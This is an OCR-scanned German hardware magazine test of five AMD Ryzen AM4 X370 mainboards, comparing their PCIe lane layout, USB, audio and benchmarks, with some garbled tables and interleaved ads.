2011-v3-Messungen, durch das 
abweichende Spannungswandler- 
konzept wird bei AMD aber ein 
größerer Teil der Abwärme auf 
dem Mainboard und dafür weni- 
ger von der CPU freigesetzt. Die 
Mainboard-Hersteller reagieren mit 
etwas größeren und aufwendiger 
gestalteten Kühlkörpern, 
alle Testkandidaten ausreichend 


sodass 


niedrige Temperaturen erreichen. 
Das Crosshair VI Hero setzt sich 
(positiv) etwas ab. Günstige AM4- 
Mainboards könnten aber Prob- 
leme bekommen, denn viel Luft 
bleibt unter Volllast nicht mehr. 


Herstellerübergreifend einheit- 
lich präsentiert sich die schnellere 
Hälfte der PCI-Express-Ausstattung. 


Einen x16-Slot für Grafikkarten be- 


nötigt ohnehin jeder Anwender; 
die Möglichkeit, acht dieser Lanes 
an einen zweiten Steckplatz für x8/ 
x8 SLI beziehungsweise Crossfire 
umzuleiten, ist Standard in der ge- 
testeten Preisklasse. Auch bei der 
Anordnung der beiden Grafikkar- 
ten-Slots macht kein Hersteller Ex- 
perimente - ATX-Position 2 ist weit 
genug vom CPU-Sockel entfernt, 
um Platzkonflikte mit Kühlern zu 
vermeiden, und die Kombination 
mit ATX-Position 5 erlaubt zwei 
2,5-Slot-Grafikkarten. 

Die verbleibenden vier freien 
3.0-Lanes der CPU investieren alle 
Hersteller in einen M.2-x4-Slot für 
kompakte High-End-NVME-SSDs. 
Bei MSI und Gigabyte können die- 
se Ressourcen alternativ an einen 
U.2-Anschluss für 2,5-Zoll-Modelle 
umgeleitet werden. Da diese bis auf 
Weiteres nur für den Server-Markt 
hergestellt werden, ist der Mehr- 
wert aber überschaubar. 


Wie bereits erwähnt, nutzt nur 
Gigabyte zusätzlich die 3.0-Fähig- 
keiten des I/O-Hubs - und auch 
das nur in einer Art, die Anwender 
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Die K95 RGB PLATINUM katapultiert die 
Tastaturen von Corsair auf ein neues Level. 
Entfesseln Sie die extreme Leistung durch 
mechanische Cherry MX-Tastenschalter. Erstellen 
und speichern Sie umfangreiche Makros sowie SC CMT 
Lichteffekte mit der Corsair Utility Engine. CHERRY MX CHERRY MX . 
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MSI X370 Xpower Gaming Titanium 


, Titanium" — das steht für silber lackierte Platinen. Auch Kühler und Verkleidung des Xpower Titanium strahlen im eleganten Glanz, der sich je nach Farb- 
konzept RGB-beleuchten lässt. Ein „Xpower” möchte aber auch Übertakter überzeugen, beim X370-Modell fällt vor allem der großzügige Abstand zwischen 
CPU und Grafikkarte positiv auf. Dazu gibt es einen USB-Verstärker für lange VR-Headset-Kabel und einen PCI-E-3-angebundenen USB-Zusatzcontroller. 


USB- & Display-Anschlüsse 
Trotz des hohen Preises ist das Xpower 
Titanium auf günstige APUs mit integrier- 
ter Grafikeinheit vorbereitet und bringt 
zwei Display-Ausgänge im I/O-Bereich 
unter. Zusätzlich bleibt Platz für insgesamt 
neun USB-Ports (3.1 Typ-A, 3.1 Тур-С, 4 x 
3.0 Typ-A, 3 x 2.0 Typ-A). 


M.2-Kühlung und Dual-M.2 
Als einziges Mainboard im Test bietet 

das Xpower Titanium zwei M.2-Slots mit 
x4-Anbindung. Der zweite Slot erreicht 
aber nur 2.0-Geschwindigkeit und deak- 
tiviert zusátzlich den x4-Steckplatz, dafür 
verfügt der erste M.2-Slot (3.0x4) über 
ein Wärmeableitblech (siehe auch S. 77). 


USB 3.1, U.2, 4 x USB 3.0 — und sharing-freie x1 

Mit einem USB-3.1-Front-Panel-Header und einem U.2-Anschluss (shared mit M.2-3.0-x4) 
ist das Xpower Titanium für künftige Hardware gerüstet, zugleich bietet es normale USB- 
2.0- und 3.0-Header für je vier Anschlüsse. Sechs SATA-Ports sind weniger als bei Asus und 
Gigabyte, so reichen die X370-Ressourcen aber für unabhängig angebundene x 1-Slots. 


nicht nutzen und die Tester nicht Gigabyte hier auf Augenhöhe mit 


überprüfen kónnen. Nützlich sind 
die beiden SATA-Express-Ports des 
X370-Gaming 5 dennoch, denn 
hier kónnen USB-3.1-Front-Panels 
mit integriertem Controller ange- 
schlossen werden. Alternativ nutzt 
man sie für vier herkómmliche SA- 
TA-Laufwerke. Zusammen mit vier 
reinen SATA-Anschlüssen agiert 


den Asus-Mainboards. Asrock und 
MSI beschränken sich dagegen auf 
ausreichende sechs SATA-Ports. 
Von den SATA-Fähigkeiten des 
Prozessors macht übrigens kein 
Mainboard-Hersteller Gebrauch - 
kein Wunder, müsste man hierfür 
doch auf wertvolle PCI-Express-3.0- 
Lanes verzichten. 


DDR4-2133 


Level 5 


Level 5 


Wie wenig Vorlauf die UEFI-Entwickler zum Launch hatten, sieht man an der Beschrif- 
tung einiger Optionen. Wir haben nicht getestet, wie die CPU auf 30.000 V reagiert. 
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Bei den PCI-Express-2.0-Lanes wird 
die Lage unübersichtlicher. Das 
Crosshair VI investiert zwei Lanes 
in einen USB-3.1-Zusatzcontroller, 
eine in einen ungenutzten WLAN- 
M.2-Slot hinter dem I/O-Panel (ent- 
sprechende vertikale Module sind 
selten einzeln erhältlich) und den 
LAN-Controller. Für Erweiterungs- 
karten bleiben vier Lanes übrig, 
wahlweise in Form eines x4-Slots 
oder verteilt auf viermal х1. 


Diese Konfiguration findet sich 
auch bei Gigabyte, nur gibt es an- 
stelle des WLAN-M.2-Slots einen 
zweiten LAN-Controller. Das Pri- 
me X370-Pro bietet weder das eine 
noch das andere, dafür arbeitet der 
Mittlere der beiden x1-Slots unab- 
hängig vom x4-Steckplatz. Dies gilt 
auch für MSIs Xpower Titanium, 
das dank des Verzichts auf zwei 
SATA-Anschlüsse zusätzliche Res- 
sourcen der SATA-Express-Ports 
zur Verfügung hat und alle drei 
x1-Steckplätze ohne Teilung von 
PCI-Express-Lanes anbindet. Derar- 
tiges Sharing findet sich dafür beim 
x4-Slot, der auf Wunsch alle seine 
Datenleitungen an einen zweiten 
M.2-Slot für SSDs abtritt. 


Auch das X370 Killer SLI verfügt 
über einen zweiten M.2, der sogar 
exklusiv über seine Ressourcen 
verfügt. Mit nur zwei 2.0-Lanes er- 
reicht er aber keinen großen Ge- 
schwindigkeitsvorteil gegenüber 
SATA. PCI-Express-2.0-Steckkarten 
stellt Asrock vier Slots und vier La- 
nes zur Verfügung. Im Gegensatz 
zu Crosshair VI und X370-Gaming 5 
gibt es hier kein Sharing, aber auch 
keinen x4-Slot, der die Ressourcen 
für eine schnelle Erweiterungskar- 
te bündeln kónnte. 


I/O-Anschlüsse 

Dass sich die Kandidaten hinsicht- 
lich I/O-Panel-Gestaltung und inter- 
nen Anschlüssen unterscheiden, ist 
bereits angeklungen. So stellen die 
USB-3.1-Zusatzcontroller bei Asus, 
MSI und Gigabyte jeweils zwei An- 
schlüsse am I/O-Panel bereit. Mit 
Ausnahme des Prime X370-Pro 
handelt es sich hierbei um je einen 
Typ-A- und einen Typ-C-Anschluss. 
Den im X370 integrierten, nativen 
USB-3.1-Controller verwendet Gi- 
gabyte für zwei zusätzliche Typ-A- 
Anschlüsse am I/O-Panel, MSI und 
beide Asus-Mainboards dagegen 
für interne Spezial-Header, die ei- 


www.pcgameshardware.de 


Ryzen: AM4-Mainboard | SPECIAL 


Asrock X370 Killer SLI 


Asrock ist in der Mittelklasse zu Hause und erreicht mit dem X370 Killer SLI erneut eines der besten Preis-Leistungs-Verhältnisse im Test — und zusätzlich ei- 
nen Beinahe-Gleichstand mit vielen der teureren Konkurrenten. Die Design-Philosophie hierzu stammt von den hauseigenen, viel gelobten Taichi-Modellen: 
wenig Optik- und Gaming" Features und dafür eine solide Ausstattung — so kommt u. a. trotz Killer" Namen ein Intel-LAN-Controller zum Einsatz. 


USB 3.0, USB 2.0, kein 3.1? 
Laut Handbuch bietet das X370 Killer SLI 
gar kein USB 3.1, tatsächlich beherrschen 
aber zwei Ports am I/O-Panel Geschwin- 
digkeiten von über 800 MB/s. Intern gibt 
es unter anderem vier USB-3.0-Header 
und daneben noch einen fünften, eben- 
falls undokumentierten 2.0-Anschluss. 


Vorbereitet für WLAN 

Am I/O-Panel verfügt das X370 Killer SLI 
über eine Halterung für WLAN-Antennen, 
der zugehörige M.2-E-Key-Slot (nicht 

für SSDs geeignet) befindet sich knapp 
dahinter. Passende Karten sind, verglichen 
mit Asus’ senkrechter Lösung direkt am 


l/O-Panel, leicht erhältlich. 


2x M.2-m-Key und 4x PCI-E-x1, aber kein x4 
Ohne USB-3.1-Zusatzcontroller und ohne siebten und achten SATA-Port hat Asrock genug 
X370-Ressourcen zur Verfügung, um einen zweiten M.2-Slot zu realisieren, der aber leider nur 
mit PCI-E-2.0-x2 angebunden ist. Auch die sharing-freien x 1-Slots kommen mit einem Wer- 
mutstropfen daher, denn ein x4-Slot, mit dem man Ressourcen teilen könnte, fehlt schlicht. 


nen USB-3.1-Typ-C am Front Panel 
versorgen kónnen - sobald passen- 
de Gehàuse angeboten werden. 


Einen Sonderfall stellt das Asrock 
X370 Killer SLI dar, das nur den 
internen USB-3.1-Controller nutzt 
und mit diesem offensichtlich 
einen Typ-A und einen Typ-C- 
Anschluss am I/O-Panel versorgt. 
„Offensichtlich“ weil Asrock die 
Anschlüsse als USB 3.0 deklariert. 
Wir messen aber USB-3.1-exklu- 
sive Transferraten von über 800 
MB/s und zusátzlich zu den vier 
internen USB-3.0-Headern kann 
die Kombination aus Ryzen und 
X370 auch nur sechs USB-3.0- und 
zwei -3.1-Anschlüsse versorgen. Die 
acht in den Asrock-Spezifikationen 
angegebenen USB 3.0 sind unmög- 
lich respektive ein offensichtlicher 
Tippfehler, der so auch auf Websei- 
te und I/O-Blende wiederholt wird. 


Zeichen von USB-3.0-Knappheit 
finden sich, trotz der großzügi- 
gen 10 Ports der Plattform, auch 
auf beiden Asus-Mainboards, die 
maximal zwei Front-Anschlüsse 
versorgen können. Beim Crosshair 


VI Hero liegt dies an satten 14-I/O- 
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Panel-USB-Ports, beim Prime X370- 
Pro am konsequenten Verzicht auf 
rückseitige 2.0-Anschlüsse. MSI hat 
dagegen keine Hemmungen, Maus, 
Tastatur und ein weiteres langsa- 
mes Peripherie-Gerät über den 
antiken Standard anzubinden und 
hält so genug USB-Ressourcen für 
Front-Panel-Anschlüsse frei. 


Ebenfalls ungewöhnlich sind die 
zwei Display-Ausgänge des 300-Eu- 
ro-Xpower-Titanium. Mit Ausnah- 
me des Mittelklasse-Prime-X370- 
Pro bietet das Testfeld sonst nur 
einen Anschluss, das Crosshair VI 
Hero sogar gar keinen. Da AMD bis- 


lang nur sehr leistungsschwache 
APUs für den Sockel AM4 anbietet 
und erst Ende 2017 Quadcores mit 
integrierter GPU erwartet werden, 
ist dies auch naheliegend - wer 
baut schon ein System mit 270-Eu- 
ro-Mainboard, Einsteiger-Prozessor 
und keiner Grafikkarte? 


Onboard-Sound 

Für die Tonausgabe unseres Test- 
feldes sind fünf aktuelle Realtek 
ALC1220/S1220/A und ein älterer 
ALC892 verantwortlich. Letzterer 
sitzt auf dem Asrock X370 Killer 
SLI und stellt eine akzeptable Spar- 
maßnahme dar - das gleich teure 


Asus Prime X370-Pro verzichtet 
umgekehrt auf qualitätssteigernde, 
aber mit Extrakosten verbundene 
Zusatzchips im Umfeld seines „Re- 
altek S1220A“. MSIs Xpower Tita- 
nium und das Crosshair VI Hero 
(Marketing-Name hier: „Realtek 
$1220) protzen dafür mit um so 
mehr Sound-Aufwertungen, die 
wir in der kommenden PCGH- 
Ausgabe endlich einer detaillierten 
Betrachtung unterziehen wollen. 
Kreativ mutet die Gigabyte-Lösung 
an, welche für die ungewöhnliche 
Gesamtzahl verantwortlich ist: Hier 
arbeiten gleich zwei ALC1220, so- 
dass sowohl vordere als auch rück- 


Kurios: Das Prime X370-Pro nutzt für beide USB-3.1-Ports das Typ-A-Format (türkis), der Typ-C daneben ist hingegen via USB 3.0 
angebunden. Das gilt allerdings auch für viele mobile Geräte mit Typ-C-Stecker, die nur an dessen geringer Größe interessiert sind. 
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Asus Prime X370-Pro 


Die Prime-Serie von Asus richtet sich nicht explizit an Gamer, was direkt in einer einfacheren Optik, reduzierten (aber keineswegs schlechten) Übertaktungs- 
optionen und einem niedrigeren Preis resultiert. Beim X370-Pro kommen noch überdurchschnittlich viel Platz für CPU-Kühler, ein zweiter USB-3.1-Controller 
und zahlreiche SATA-Ports hinzu; Lane-Sharing und Platzkonflikte mit Grafikkartenkühlern reduzieren aber die Nutzbarkeit der x1-Slots. 


Front USB 3.1 onboard 

Wie das Crosshair VI Hero und MSIs X370 
Xpower Gaming Titanium leitet auch das 
Prime X370-Pro einen USB-Port des X370 
in einen speziellen, hochfrequenztaug- 
lichen Header für USB-3.1-Frontpanels. 
Leider lassen hiermit ausgestattete 
Gehäuse weiter auf sich warten. 


Verklebte Backplate 

Allen Asus-AM4-Mainboards gemein ist 
eine großflächige Klebeschicht an der 
Backplate. Wird diese auf ganzer Fläche 
an die Platinenrückseite gedrückt, ist ; 
eine Demontage kaum noch möglich. Bei = ; e Gi 7 іна X370 
unseren Testmustern bestand aber glückli- SC . CH 

cherweise nur punktueller Kontakt. 


PCI-E: Intelligentes Sharing, suboptimale Anordnung 


Bei allen Probanden teilen sich die x4-Slots Ressourcen mit x1-Steckplätzen. Im Falle des 
X370-Pro geschieht das nur mit zweien, so bleibt der mittlere x1 zusätzlich zu einer x4-Er- 
weiterungskarte nutzbar — und das sogar bei Installation zweier Dual-Slot-Grafikkarten. Die 
auch vor Triple-Slot-Monstern sichere ATX-Slot-Position 1 lässt Asus leider ungenutzt. 


seitige Anschlüsse aus den stärker 
ausgeführten ersten beiden von 
insgesamt acht Kanälen je Codec 
versorgt werden. Positiver Neben- 
effekt: Die getrennten Audiogerä- 
te ermöglichen eine unabhängige 
Ausgabe zweier Audiostreams. 


Zusammenfassung 

Die sechs Audio-Codecs für fünf 
Teilnehmer sind nur ein Zahlen- 
kuriosum dieses Tests: Im Grunde 
besteht die Rangliste nur aus drei 
Plätzen, denn trotz großer Unter- 
schiede schneiden je zwei Main- 
boards quasi punktgleich ab. 


Asus’ Crosshair VI Hero überzeugt 
mit guten Spannungswandler-Tem- 
peraturen, umfangreicher Zusatz- 
ausstattung für Tuner und vielen 
Optionen für anspruchsvolle Über- 
takter. Gerade Letzteres ist im Mo- 
ment ein Alleinstellungsmerkmal, 
denn nicht nur beim Referenztakt, 
sondern auch bei RAM-Timings und 
einigen Plattformeinstellungen ba- 
sieren viele UEFIs noch 1:1 auf von 
AMD übernommenen, spärlichen 
Menüs. Viele Nutzer werden diese 
Features aber nie verwenden und 
abseits des rückseitigen USB-Wahn- 


40 PC Games Hardware | 05/17 


sinns bietet das Crosshair VI wenig 
Aufsehenerregendes, vor allem die 
Erweiterbarkeit ist wegen des Lane- 
Sharings nur unteres Mittelmafs. 


Gigabytes AX370-Gaming 5 nutzt 
das gleiche Sharing-Layout und 
bietet Tunern mit einer umfang- 
reichen Lüftersteuerung inklusive 
externer Temperaturfühler eben- 
falls einiges, kitzelt aber einen zu- 
sätzlichen LAN-Anschluss heraus. 
Geschmacksfrage ist der Verzicht 
auf (noch nicht nutzbares) Front- 
USB-3.1 zugunsten (kaum benö- 
tigter) zusätzlicher Anschlüsse auf 
der Rückseite, die resultierende 
USB-3.0-Verteilung ist aber ein kla- 
rer Pluspunkt und im Zweifelsfall 
eröffnen die SATA-Express-Ports 
Nachrüstmöglichkeiten. In der 
Leistungswertung punktet Giga- 
byte vor allem mit dem schnellen 
Bootvorgang, das Hauptargument 
bei 0,006 Notenpunkten Wertungs- 
unterschied gegenüber Asus ist 
aber der 50 Euro niedrigere Preis. 


Mit 320 Euro ist dieser klar der 
Pferdefuß des MSI X370 Xpower 
Gaming Titanium. Technisch weiß 
das Mainboard dagegen durchaus 


zu überzeugen - die USB-Anschlüs- 
se sind sinnvoll verteilt, es lassen 
sich zahlreiche Erweiterungskar- 
ten nutzen und wenn zwei Triple- 
Slot-Grafikkarten das erschweren, 
kann man die Ressourcen immer 
noch in eine zweite M.2-SSD mit 
immerhin 20 GBit/s umleiten. 


Nur halb so schnell ist der zweite 
M.2 bei Asrocks X370 Killer SLI 
und damit kein echter Mehrwert, 
zusätzlich fehlt ein x4-Slot für 
etwaige M.2-Adapterkarten. Die 
WLAN-Nachrüstoption wird das 
nur in den Augen weniger Anwen- 
der kompensieren (Tipp: Mit dem 
Namenszusatz „AC“ bietet Asrock 
außerhalb Deutschlands auch eine 
Ausführung mit vorinstalliertem 


Video auf Heft- 


Der Platz im Heft kann 
die Optik zahlreicher 

Mainboards nicht immer 

optimal wiedergeben. Auf 
der Heft-DVD finden sie daher 
ein umfangreiches Video, in dem wir Ausstat- 
tung, Design und Eigenarten der Testteilneh- 
mer detailliert präsentieren. 


WLAN-Modul). Aber Asrock móch- 
te gar nicht durch eine überdimen- 
sionierte Ausstattung überzeugen, 
sondern mit einem Preis von 170 
Euro - 50 Euro weniger als bei Gi- 
gabyte, 150 weniger als bei MSI. 


Ebenfalls für 170 Euro gibt es das 
Asus Prime X370-Pro. Im Gegensatz 
zu Asrock bietet es Front-USB-3.1, 
zwei zusátzliche SATA-Ports und ei- 
nen x4-Slot, bei dessen Nutzung im- 
merhin noch eine weitere x1-Karte 
verbaut werden kann - wenn man 
keine Triple-Slot-Grafikkarte ver- 
baut. Dieser Layout-Fehler schmerzt 
ebenso wie die Verschwendung 
von USB-3.0-Ressourcen für Maus 
und Tastatur statt für weitere Front- 
Anschlüsse. (tu) 
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SOCKEL-AM4- 
MAINBOARDS 


Auszug aus der Testtabelle mit 
160 Wertungskriterien 


Hersteller 


osshair VI Hero 


Asus (www.asus.de) 


Gigabyte (www.gigabyte.de) 


MSI (www.msi.com) 


X370 Killer SLI 


Asrock (www.asrock.de) 


Prime X370-Pro 


Asus (www.asus.de) 


Preis/Preis-Leistungs-Verháltnis 


Ca. € 270,-/ausreichend 


Ca. € 220,-/befriedigend 


Ca. € 320,-/mangelhaft 


Ca. € 170,-/gut 


Ca. € 170,-/gut 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1582881 


www.pcgh.de/preis/1582173 


www.pcgh.de/preis/1580650 


www.pcgh.de/preis/1582146 


www.pcgh.de/preis/1582178 


1/0-Нир; UEFI-; Board-Revision 


AMX X370; 0902; 1.03 


AMX X370; F5D; 1.0 


AMX X370; 1.26; 1.1 


AMX X370; 1.63; 1.03 


AMX X370; 0502; 1.03 


Gehäuse-Format; Höhe x Breite 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


Ausstattung (20 %) 2,50 2,33 2,40 2,84 2,59 
Speicherslots 4x DDR4 4x DDR4 4x DDR4 4x DDR4 4x DDR4 
PCI-Express-Standard* 2.0/3.0/-/2.0/3.0/2.0/2.0 2.0/3.0/-/2.0/3.0/2.0/2.0 2.0/3.0/-/2.0/3.0/2.0/2.0 2.0/3.0/-/2.0/3.0/2.0/2.0 -/3.0/2.0/2.0/3.0/2.0/2.0 


PCI-E-CPU-Lane-Verteilungsoptionen* 


1x 16/-/-1x0/-/- oder -/x8/-/- 
Ix8l-I- 


-/x16/-/-1x0/-/- oder -/x8/-/- 
Ix8l-I- 


-/x16/-/-1x0/-/- oder -/x8/-/- 
Ix8l-I- 


-/%16/-/-/x0/-/- oder -/x8/-/- 
Ix8.-- 


-/x16/-/-1x0/-/- oder -/x8/-/- 
Ix8l-I- 


PCI-E-IOH-Lane-Verteilungsoptionen* 


x0/-/-/x0/-/x0/x4 oder x 1/-/- 
[xTM -Ix Tx 


x0/-/-/x0/-/x0/x4 oder 
x0/-/-/x 1/-/x1/x2 oder x1/-/— 
Ix1/-Ix 1x1 


ж1/—/—/х1/-/х1/х4 


ж 1/-/-/х1/—/х1/х1 


=/1-1х0/х1/-/х0/х4 oder —/— 
1х11х11—/х11х2 


ЅАТА 


8х 6 GBit/s (6х X370) 


8x 6 GBit/s (6x X370), 4 als 2x 
SATA-Express (PCI-Express 3.0 x2) 
nutzbar 


6x 6 GBit/s (6x X370) 


6x 6 GBit/s (6x X370) 


8x 6 GBit/s (6x X370) 


NVME, Anbindung*, Format 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110; 1x U.2 (deaktiviert 
ersten M.2) 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110; 1x M.2 m-Key, 
PCI-E-2.0-x4, 42/60/80 (deaktiviert 
PCI-E-x4); 1x U.2 (deaktiviert ersten 
M) 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80; 1x M.2 m-Key, 
PCI-E-2.0-x2, 42/60/80; 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110 


Testsystem: Ryzen 7 1800X, Palit GTX 980 Ti Super Jetstream mit 110 96 Powertarget, 91 °C Temptarget; 2 x 8 GiB Kingston DDR4-2400 oder 2x 8 GiB GEIL DDR3-2133, ЕКІ Alpenföhn Brocken Eco bei 900 U/min. *ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben I/O-Panel. PCI-E-Geschwindigkeitsangaben mit Ryzen-R7- 
CPU (Summit Ridge). Funktionsumfang mit A-Serien-APUs (Bristol Ridge) ist reduziert. **Ab Sockel-Mitte. Nur Spannungswandlerkühlerteile >2,5 cm. ***Prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, kein Ubersampling, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur. ****ganzes System mit Ryzen 


7 1800X und MSI GTX 980 an Seasonic-80-Plus-Gold-Netzteil. 


Onboard-LAN 


1x Gigabit (Intel 1211-AT) 


2x Gigabit (Intel 1211-AT + Killer 
E2500) 


1x Gigabit (Intel 1211-АТ) 


1x Gigabit (Intel 1211-AT) 


1x Gigabit (Intel 1211-AT) 


Wireless 


— (vorbereitet: M.2 e-Key, 
PCI-E-2.0-x 1) 


— (vorbereitet: M.2 e-Key, 
PCI-E-2.0-x1, Antennenhalterung) 


Monitor-Anschlüsse 


HDMI 


HDMI/Displayport 


HDMI 


HDMI/Displayport 


USB extern/intern 


2x/1x USB 3.1 (davon x1 Typ-C 
extern/x1 USB-3.1-spezial-Front-Pa- 
nel-Header); 8x/2x USB 3.0; 4х/2х 
USB 2.0 


4x/0x USB 3.1 (davon x 1 Typ-C 
extern); 6x/4x USB 3.0; 0x/4x 
USB 2.0 


2x/1x USB 3.1 (davon x1 Typ-C 
extern/x1 USB-3.1-spezial-Front-Pa- 
nel-Header); 4x/4x USB 3.0; 3x/4x 
USB 2.0 


2x/0x USB 3.1 (davon х1 Typ-C 
extern); 6x/4x USB 3.0; 0x/5x 
USB 2.0 


2x/1x USB 3.1 (davon x0 Typ-C 
extern/x1 USB-3.1-spezial-Front-Pa- 
nel-Header); 6x/2x USB 3.0 (davon 
x1/x0 Typ-C); 0x/4x USB 2.0 


Legacy-Schnittstellen extern/intern 


PS/2-Maus-und-Tastatur-Combo-Port 


PS/2-Maus-oder-Tastatur-Flex-Port 


PS/2-Tastatur-Port; PS/2-Maus-Port; 
COM-Header 


PS/2-Maus-oder-Tastatur-Flex-Port; 
COM-Header 


Sound-Chip 


Realtek "51220" 


2x Realtek ALC1220 


Realtek ALC1220 


Realtek ALC892 


Realtek "51220А" 


Kopfhörer-Verstärker/DTS oder DDL/ 
wechselbarer OP-AMP 


Ja/nein/nein 


Nein/nein/nein 


Ja/nein/nein 


Nein/nein/nein 


Nein/nein/nein 


Audio-Aus-/Eingänge 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


Abstand** CPU <> 1./2. RAM-Slot 


72/81 Millimeter 


71/81 Millimeter 


74/83 Millimeter 


75/84 Millimeter 


Lüfteranschlüsse 7x 4-Pin PWM 8x 4-Pin PWM 5x 4-Pin PWM 5x 4-Pin PWM 6x 4-Pin PWM 

Sonstige Ausstattung Statussegmentanzeige; Power- und  |Statussegmentanzeige; Power- und  |Statussegmentanzeige; Power- und | Clear-CMOS-Jumper; Regelbare Clear-CMOS-Jumper; Regelbare 
Reset-Schalter; Clear-CMOS-Schalter |Reset-Schalter; Clear-CMOS-Schalter; | Reset-Schalter; Clear-CMOS-Schalter | RGB-Beleuchtung; drei Anschlüsse | RGB-Beleuchtung; zwei Anschlüsse 
am l/O-Panel; Regelbare RGB-Be- Dual-UEFI; Regelbare RGB-Beleuch- (am I/O-Panel; Regelbare RGB-Be- für RGB-LED-Streifen für RGB-LED-Streifen; Anschluss für 
leuchtung; zwei Anschlüsse für tung; je ein Anschluss für RGBW- leuchtung; Anschluss für RGB-LED- Temperatursensor 
RGB-LED-Streifen; Anschluss für und RGB-LED-Streifen; Anschluss Streifen 
Durchflussmesser; Anschluss für drei |für zwei Temperatursensoren; Span- 
Temperatursensoren; Spannungs- ^ |nungsmesspunkte 
messpunkte 

Beiliegend 4x SATA-Kabel; HB-SLI-Brücke; 1x — |4x SATA-Kabel; HB-SLI-Brücke; 2х — |6x SATA-Kabel; SLI-Brücke; 1x 2x SATA-Kabel; HB-SLI-Brücke; 4x SATA-Kabel; HB-SLI-Brücke; 
RGB-Verlängerungskabel; Handbuch |Temperatursensor; 1x RGBW-Verlän- | Y-RGB-Verlángerungskabel; Hand- — "Handbuch Englisch Handbuch Englisch 
Englisch gerungskabel; Handbuch Deutsch (buch Englisch 

Eigenschaften (20 %) 1,96 1,87 2,18 1,85 1,87 


72/81 Millimeter 


Abstand** CPU <> 1./2. Spannungs- 
wandlerkühler 


76/74 Millimeter 


87/73 Millimeter 


81/63 Millimeter 


85/72 Millimeter 


100/80 Millimeter 


Abstand** CPU «» 1. PCI-E-x16 


84 Millimeter 


90 Millimeter 


97 Millimeter 


93 Millimeter 


87 Millimeter 


Abstand PEG 1 <> 2 


2 Slots 


2 Slots 


2 Slots 


2 Slots 


2 Slots 


CPU-Multiplikator/aktive Kernzahl/ 
Referenztakt 


Anheb- und absenkbar/einstellbar/ 
einstellbar 


Anheb- und absenkbar/einstellbar/ 
nicht einstellbar 


Anheb- und absenkbar/einstellbar/ 
nicht einstellbar 


Anheb- und absenkbar/einstellbar/ 
nicht einstellbar 


Anheb- und absenkbar/einstellbar/ 
nicht einstellbar 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Nein/ja/ja/ja, konfigurierbar. Bereich: 
0,8 bis 1,7 Volt 


Nein/ja/ja/ja, konfigurierbar. Bereich: 
0,8 bis 1,8 Volt 


Nein/nein/nein/ja, konfigurierbar. 
Bereich: 0,9 bis 1,7 Volt 


Nein/ja/nein/ja, konfigurierbar. Be- 
reich: 0,9 bis 2,5 Volt 


Nein/ja/ja/ja, konfigurierbar. Bereich: 
0,8 bis 2,0 Volt 


SoC-/IOH-Spannung 


Einstellbar/einstellbar 


Einstellbar/nicht einstellbar 


Einstellbar/einstellbar 


Einstellbar/nicht einstellbar 


Einstellbar/einstellbar 


Maximal wählbarer Speichertakt DDR4-3200 DDR4-3200 DDR4-3200 DDR4-3200 DDR4-3200 
Maximale Speicherspannung 2,16 Volt 2,00 Volt 2,00 Volt 1,50 Volt 1,80 Volt 
Lüftersteuerung 3-Punkt-Kurve konfigurierbar; CPU + | 5-Punkt-Kurve konfigurierbar; CPU + | 4-Punkt-Kurve konfigurierbar; CPU + | 4,5-Punkt-Kurve konfigurierbar; CPU | 3-Punkt-Kurve konfigurierbar; CPU + 


weitere Lüfter; minimal 20 % PWM weitere Lüfter; min. 0 % PWM weitere Lüfter; min. 0 % PWM + weitere Lüfter; min. 0 % PWM weitere Lüfter; minimal 20 % PWM 
Virtualisierung SVM/IOMMU Aktivierbar/aktivierbar Aktivierbar/aktivierbar Aktivierbar/— Aktivierbar/aktivierbar Aktivierbar/aktivierbar 
Leistung (60 %) 3,20 3,29 3,35 3,32 3,44 
Realer Referenztakt (It. CPU-Z) 99,80 MHz 99,80 MHz 99,80 MHz 99,80 MHz 99,80 MHz 
Witcher 2 EE, 1080p, kein AA/AF 114,1 Fps 113,5 Fps 115,7 Fps 115,5 Fps 111,2 Fps 
Lightroom 5.6, Export 30 RAWs 121,9 Sekunden 121,2 Sekunden 121,6 Sekunden 122,1 Sekunden 121,7 Sekunden 
AIDA Memory Bench - Kopierrate 34.825 MB/s 34.560 MB/s 34.918 MB/s 34.938 MB/s 34.467 MB/s 
Boot-Zeit Desktop Windows 8.1 46,2 Sekunden 30,2 Sekunden 43,7 Sekunden 36,9 Sekunden 39,3 Sekunden 
Temp. Spannungswandler1/2/10H*** 58/54/50 °C 79/46/44 *C 78/52/53 *C 76/67/53 °C 75/56/49 °C 


Stromverbr.**** Soft-Off/Leerl./Last*** 


FAZIT 
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3,2/53,2/344 Watt 


© Kühle Spannungswandler 
© AM3-Kühlerhalterung 


© Temperatursens.- & DFS-Anschl. 


Wertung: 2,81 


1,5/51,5/344 Watt 


© 4х USB 3.1 
© 2x Temperatursensor 
© Relativ kurze Bootzeit 


Wertung: 2,81 


1,1/48,9/353 Watt 


© Front-USB-3.1 
© Viel Platz für CPU-Kühler 
© Teuer 


Wertung: 2,93 


1,4/51,0/353 Watt 


© 2x M.2-m- & 1x -e-Key 
© HB-SLI-Brücke beiliegend 
© Kein PCI-Express x4 


Wertung: 2,93 
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1,4/53,0/350 Watt 


© Front-USB-3.1 
© 1x Temperatursensoranschluss 
© GPU-Kühler verdecken Slots 


Wertung: 2,96 
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IHRE FLATRATE 


Mit Ihrer 1&1 All-Net-Flat können Sie nicht nur mobil endlos telefonieren 
und surfen - 


Mit der supergünstigen Flatrate für die Straße von 1&1 und Sixt Neuwagen sind Ihre Lieblings- 
Apps jetzt immer dabei. Ob Navigieren, Telefonieren, Musik und Hörbücher hören oder ht 


1&1 ALL-NET-FLAT 


TELEFONIE 


INTERNET 


